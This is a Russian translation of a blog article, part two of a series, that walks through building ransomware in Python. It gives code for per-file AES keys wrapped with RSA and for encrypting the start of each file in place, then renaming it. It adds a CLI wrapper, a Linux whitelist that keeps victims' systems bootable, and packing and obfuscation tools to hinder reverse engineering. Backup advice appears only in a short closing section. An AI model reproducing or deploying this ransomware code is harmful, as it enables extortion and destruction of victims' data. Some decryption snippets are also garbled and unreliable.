Архитектура Ransomware (2/2)

Архитектура Ransomware (2/2)

Moody

Когда я искал статьи о разработке Ransomware, то наткнулся на пару готовых шифровальщиков с открытым исходным кодом, среди которых оказался GonnaCry, написанный Тарсисио Маринью. Его код написан чисто и понятно, поэтому я настоятельно вам рекомендую взглянуть на него.

Помимо основной части, GonnaCry содержит весь код для «management side». Тарсильо Маринью фактически написал собственный сервер для атакующей стороны, на котором можно управлять ключами и поддерживать связь с зараженными клиентами.

Я не хочу вдаваться в подробности данного аспекта, поскольку я писал код для того, чтобы в общих чертах понять как работают Ransmware, а каждая разновидность реальных шифровальщиков имеет собственную логику. Могут быть автоматизированные сервисы, которые автоматически проверяют платежи и сами отправляет ключи расшифрования. Может быть обычная электронной почта, указанная в записке о выкупе. Даже может быть система, которая позволяет клиенту отправлять образцы зашифрованных файлов, чтобы убедиться в том, что злоумышленник действительно сможет их расшифровать. Какой бы подход не использовался, разработчики Ransomware выбирают его в зависимости от компании, поэтому программирование этой части не входило в мои задачи. Я сосредоточился, в основном, на стороне заражения клиентов.

Выбранный язык

Я выбираю питон по нескольким причинам. Самая главная - его читабельность.

Помимо читабельности, он может быть кроссплатформенным, если вы избегаете использования специальных инструкций (например, тех, которые вызываются с помощью os.system). Python быстр и имеет готовые библиотеки для большинства операций шифрования, которые нам необходимо реализовать. Эти библиотеки также позволят обфускировать скомпилированный код, чтобы усложнить реверс-инжиниринг конечного билда.

При поиске нужных библиотек, на своем пути вы встретите множество тех, у которых есть одинаковые, по функциональному назначению, методы. Логичным будет выбор наиболее популярных пакетов, активно поддерживаемой сообществом, в особенности, когда вы имеете дело с криптографией. Вы же не хотите, чтобы файлы, зашифрованные вашим Ransomware, были дешифрованы только из-за того, что вы использовали устаревшую библиотеку, или, что еще хуже, разработали свои собственные методы шифрования, как это сделал Lockcrypt (никогда не повторяйте его ошибок). Мы будем использовать две известные библиотеки: pycryptodome и secrets.

Примечание. На практике у вас всегда будет доступ к функциям, которые выполняют за вас комбинированное асимметричное + симметричное шифрование (например, библиотека asymcrypt). Однако я буду использовать голый pycryptodome и создавать каждую функцию отдельно, чтобы лучше проиллюстрировать обозначенные концепции.

Обзор необходимых функций

  • generate32ByteKey(): сгенерирует случайный 32-байтовый ключ. Существует несколько способов сделать это. Можно использовать /dev/urandom и sha256sum, но тогда мы лишимся кроссплатформенности, поэтому лучше использовать функцию secrets.token_hex(32) библиотеки secrets.
  • rsaEncryptSecret (string, publicKey): зашифрует секрет асимметрично при помощи открытого ключа (так, что его можно будет расшифровать только с помощью закрытого ключа). Это позволит нам зашифровать симметричный ключ, сгенерированный для каждого файла, используя publicKey. Клиенту понадобится наш privateKey, чтобы расшифровать симметричный ключ файла, а затем расшифровать каждый файл с его собственным симметричным ключом.
  • rsaDecryptSecret (secret, privateKey): расшифрует зашифрованный симметричный ключ с помощью закрытого асимметричного ключа.
  • symEncryptFile (publicKey, file): самая сложная функция. Подробнее о ней будет сказано ниже, но, как следует из названия, она используется для зашифрования файла.
  • symDecryptFile (privateKey, file): расшифровывает файл.
  • symEncryptDirectory (publicKey, dir): получает каталог в качестве параметра, рекурсивно перемещается по нему, чтобы получить все файлы внутри и вызывает symEncryptFile с publicKey.
  • symDecryptDirectory (privateKey, dir): symEncryptDirectory, но наоборот…

rsaEncryptSecret

Зашифрует секретный ключ с помощью RSA. RSA по-умолчанию выполняет шифрование без какой-либо рандомизации, поэтому мы будем использовать оптимальное асимметричное шифрование с дополнением (сокращенно OAEP), представляющее собой схему заполнения, улучшающую базовый RSA, добавляя как рандомность, так и лазейку с возможностью использования односторонней функции с потайным входом. Помните, что при использовании RSA с OAEP результирующий размер шифра должен быть таким же, как и сам модуль. А модуль - это размер ключа/8. Мы используем 2048-битный RSA, поэтому результирующий зашифрованный текст должен быть 256 байтов.

Вот сниппет кода данной функции.

def rsaEncryptSecret(string, publicKey):
  public_key = get_key(publicKey, None)
  # Create the cipher object
  cipher_rsa = PKCS1_OAEP.new(public_key)
  # We need to encode the string to work with bytes instead of chars
  bytestrings = str.encode(string)
  cipher_text = cipher_rsa.encrypt(bytestrings)
  #At this point the cipher_text should be 256 bytes in length
  # We'll base64 encode it for convenience
  # Remember that a base64 string needs to be divisible by 3, so 256 bytes will become 258 with padding 
  return base64.b64encode(cipher_text)

RsaDecryptSecret

Расшифрует зашифрованный текст с предоставленным секретным ключом.

def rsaDecryptSecret(string, privateKey):
  # We firts import the private Key
  private_key = get_key(privateKey, None)
  # Decode the base64 encoded string
  base64DecodedSecret = base64.b64decode(string)
  # create the cipher object
  cipher_rsa = PKCS1_OAEP.new(private_key)
  # Decrypt the content
  decryptedBytestrings = cipher_rsa.decrypt(base64DecodedSecret)
  # Remember to convert the decoded cipher from bytes to string
  decryptedSecret = decryptedBytestrings.decode()
  return decryptedSecret

SymEncryptFile

Наша главная функция зашифрования. Вот как она будет работать:

  1. Вызов функции с параметрами publicKey и пути к файлу
def symEncryptFile(publicKey, file):

2. Сгенерировать случайный ключ для файла

key = generateKey()

3. Зашифровать этот ключ с использованием publicKey.

encriptedKey = rsaEncryptSecret(key, publicKey)

4. Определить размер шифрования (n байтов) для файла. В этом примере мы будем использовать 1 МБ.

buffer_size = 1048576

5. Убедиться, что файл еще не зашифрован, а если зашифрован, проигнорировать его.

if file.endswith("." + cryptoName):
 print('File is already encrypted, skipping')
 return

6. Зашифровать первые n байтов файла и перезаписать его содержимое.

# Open the input and output files
 input_file = open(file, 'r+b')
 print("Encrypting file: "+ file)
 output_file = open(file + '.' + cryptoName, 'w+b')# Create the cipher object and encrypt the data
 cipher_encrypt = AES.new(key, AES.MODE_CFB)# Encrypt file first
 input_file.seek(0)
 buffer = input_file.read(buffer_size)
 ciphered_bytes = cipher_encrypt.encrypt(buffer)input_file.seek(0)
input_file.write(ciphered_bytes)

7. Добавить зашифрованный ключ в конец файла.

input_file.seek(0, os.SEEK_END)
input_file.write(encriptedKey.encode())

8. Добавить AES IV (вектор инициализации) в конец файла.

input_file.seek(0, os.SEEK_END)
input_file.write(cipher_encrypt.iv)

9. Переименовать файл, чтобы идентифицировать его как зашифрованный.

input_file.close()
 os.rename(file, file + "." + cryptoName)

Обратите внимание, что мы не копировали файл, мы просто использовали метод seek() над файловым объектом, чтобы максимально ускорить процесс. Он также будет использоваться и в функции расшифрования.

Также обратите внимание, что, поскольку мы записываем в зашифрованный файл как AES IV, так и зашифрованный ключ, нам не нужен какой-либо текстовый файл с треком каждого файла. Жертва может просто отправить нам любой файл, и пока у нас есть закрытый ключ, используемый для этого файла, мы сможем его расшифровать.

SymDecryptFile

Наша главная функция дешифрования. Вот как она будет работать:

  1. Вызов функции с параметрами publicKey и пути к файлу
def symDecryptFile(privateKey, file):

2. Определить размер расшифрования (n байтов) для файла. В нашем примере это 1 МБ.

buffer_size = 1048576

3. Убедиться в том, что файл зашифрован (с нашим расширением).

if file.endswith("." + cryptoName):
        out_filename = file[:-(len(cryptoName) + 1)]
        print("Decrypting file: " + file)
    else:
        print('File is not encrypted')
        return

4. Откроем файл и прочитаем AES IV (последние 16 байт).

input_file = open(file, 'r+b')# Read in the iv
    input_file.seek(-16, os.SEEK_END)
    iv = input_file.read(16)

5. Прочитаем зашифрованный ключ расшифрования

# we move the pointer to 274 bytes before the end of file
# (258 bytes of the encryption key + 16 of the AES IV)
input_file.seek(-274, os.SEEK_END)
# And we read the 258 bytes of the key
secret = input_file.read(258)

6. Расшифруем зашифрованный ключ с помощью предоставленного закрытого ключа:

key = rsaDecryptSecret(cert, secret)

7. Расшифруем размер буфера с AES-шифрованием, который мы определили ранее, и запишем его в начало файла.

# Create the cipher object
cipher_encrypt = AES.new(privateKey, AES.MODE_CFB, iv=iv)                                                                                                                            
# Read the encrypted header                                                                                              
input_file.seek(0)                                                                                                                                                            
buffer = input_file.read(buffer_size)                                                                                                                                         
# Decrypt the header with the key
decrypted_bytes = cipher_encrypt.decrypt(buffer) 
# Write the decrypted text on the same file                                                                                                                             
input_file.seek(0)                                                                                                                                                            
input_file.write(decrypted_bytes)

8. Удалим ключ шифрования iv + с конца файла и переименуем его.

# Delete the last 274 bytes from the IV + key.                                                                                                                                             
input_file.seek(-274, os.SEEK_END)                                                                                                                                            
input_file.truncate()                                                                                                                                                         
input_file.close() 
# Rename the file to delete the encrypted extension                                                                                                                                                           
os.rename(file, out_filename)

Заключительные соображения

Имея все эти функции на руках, вы можете создать бинарник, который поможет вам зашифровать, либо расшифровать выбранную вами папку. Если вы правильно написали функции symEncryptDirectory/symDecryptDirectory, вы можете просто выбрать одну из них и указать необходимые параметры.

parser = argparse.ArgumentParser()parser.add_argument("--dest", "-d", help="File or directory to encrypt/decrypt", dest="destination", default="none", required=True)parser.add_argument("--action", "-a", help="Action (encrypt/decrypt)", dest="action", required=True)
 
parser.add_argument("--pem","-p", help="Public/Private key", dest="key", required=True)

Помимо очевидного отсутствия проверки ошибок (имеет ли функция «encrypt» открытый ключ, переданный в качестве параметра, «decrypt» приватный ключ и т. д.), Вам нужно будет определить «белый список» файлов / папок для каждой операционной системы. Это нужно сделать для того, чтобы компьютер оставался «пригодным для использования», но, при этом, зашифрованным. Если вы зашифруете абсолютно каждый файл, то тут есть 2 сценария:

  1. Компьютер будет непригодным для использования у пользователя, который неправильно что-то поймет
  2. После шифрования, система не загрузится, и пользователь не узнает, что он был атакован Ransomware.

Например, в Linux белый список будет примерно таким:

whitelist = ["/etc/ssh", "/etc/pam.d", "/etc/security/", "/boot", "/run", "/usr", "/snap", "/var", "/sys", "/proc", "/dev", "/bin", "/sbin", "/lib", "passwd", "shadow", "known_hosts", "sshd_config", "/home/sec/.viminfo", '/etc/crontab', "/etc/default/locale", "/etc/environment"]

Вы, вероятно, захотите упаковать .py со всеми его зависимостями в один исполняемый файл. Я не буду показывать пошаговых инструкций, как это сделать, но вы можете изучить pyarmor и pyinstaller. Кроме того, в зависимости от типа обфускации, которую вы хотите использовать, Nuitka может оказать большую помощь.

Другие разновидности Ransomware (MBR)

Есть еще одна разновидность Ransomware, о которых я еще не упоминал. Именно они заражают главную загрузочную запись вашего жесткого диска. Это, в свою очередь, позволяет им запускать полезную нагрузку, которая шифрует файловые таблицы файловой системы NTFS, что делает диск непригодным для использования. Этот подход очень быстрый, поскольку вредоносам нужно зашифровать лишь небольшую область данных. Ransomware Petya - отличный пример такого подхода. У него три основных недостатка: во-первых, даже если ОС не загружается, вы все равно сможете восстановить свои файлы с помощью инструментов форензики. Они не удалятся, на них просто сотрутся ссылки в файловой таблице. Даже если вредоносная программа запускает процедуру шифрования необработанных данных после перезагрузки компьютера, в случае, если жертва выключит ПК и извлечет жесткий диск, файлы могут быть восстановлены. Второй недостаток заключается в том, что большинство современных ОС больше не используют MBR, поскольку перешли на GPT (таблица разделов GUID). Третий недостаток заключается в том, что вредонос будет сильно зависеть от файловой системы и нужно будет реализовать дополнительные методы, чтобы работать с другими файловыми системами, отличными от NTFS (EXT3 / EXT4, ZFS и т. д.). Данный подход требует гораздо больше низкоуровневых реализаций, я не хотел бы так сильно углубляться в это. Кроме того, такие шифровальщики попадаются редко, а моя главная цель заключалась в том, чтобы помочь читателям лучше понять «распространенные» Ransomware.

Заключение

Помимо очевидных рекомендаций (не открывайте вложения из неизвестных источников, обновляйте свою инфраструктуру, установите антивирус), я могу порекомендовать хороший метод профилактики - это резервное копирование, резервное копирование и резервное копирование. … Вы услышите много советов о том, как предотвратить атаку, но, на мой взгляд, лучше подготовиться к тому, если ваш ПК будет заражен.

Даже если вы на 100% обучены распознавать вредоносные векторы, некоторые из пользователей вашей организации можгут и не так сильно в этом разбираться, поэтому это наиболее эффективный метод защититься от шифрования дисков.

Наконец, я не видел, чтобы кто-то рекомендовал одну вещь: если вы заразились и зашифрованные файлы не требуют мгновенного доступа (семейные фотографии, видео и т. д.), Постарайтесь сохранить их зашифрованные копии. Иногда разработчики вредоносов либо уходят на пенсию (Shade, TeslaCrypt, HildaCrypt), либо арестовываются (CoinVault), либо даже публикуют ключи расшифрования своих конкурентов (Petya vs Chimera). Возможно, вам повезет, и вы сможете восстановить свои файлы через пару месяцев.


Прочитать оригинал этого материала на английском можно здесь.

Cybred - канал об информационной безопасности и конкурентной разведке, вдохновленный идеями олдскульных андеграундных интернет-сообществ о свободе распространения информации в сети и всеобщей взаимопомощи.

Report Page